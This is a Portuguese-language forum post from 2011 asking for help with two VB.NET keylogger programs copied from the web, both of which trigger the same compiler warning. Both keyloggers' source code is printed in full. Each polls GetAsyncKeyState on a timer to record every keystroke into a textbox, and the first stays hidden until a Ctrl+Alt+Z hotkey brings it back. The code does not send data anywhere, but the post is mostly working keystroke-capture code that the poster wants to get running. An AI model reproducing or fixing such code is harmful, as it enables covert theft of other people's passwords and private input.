Ajuda Keyloger VB.NET
16/07/2011
0
Fiz dois projetos de Keylogger que vi na net, e os dois possuem exatamente o mesmo erro:
Warning 1 Variable 'key' is used before it has been assigned a value. A null reference exception could result at runtime. C:\Users\Eva\Desktop\Thiago\Visual Basic\Keylogger\WindowsApplication1\WindowsApplication1\Form1.vb 20 12 WindowsApplication1
CÓDIGO DO PRIMEIRO, O ERRO DA NO TIMERKEYS_TICK
Option Strict OnPublic Class Form1 Private Declare Function GetAsynckeyState Lib "User32" (ByVal vkey As Long) As Integer Private Sub timerkeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerkeys.Tick Dim result As Integer = Nothing Dim key As String Dim i As Integer For i = 2 To 90 result = 1 result = GetAsynckeyState(i) If result = -32767 Then key = Chr(i) If i = 13 Then key = vbNewLine Exit For End If Next i If key <> Nothing Then If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then tblog.Text &= key Else tblog.Text &= key.ToLower End If End If If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then Me.Show() End If End Sub
SEGUNDO KEYLOGGER
Dim result As Integer Private Declare Function getasynckeystate Lib "user32" (ByVal vkey As Long) As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Start() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 225 result = 0 result = getasynckeystate(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i End Sub
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Posts
16/07/2011
Alalala
DETALHE
O erro (de ambos) ocorre no FOR
For i = 2 To 90 result = 1 result = GetAsynckeyState(i)
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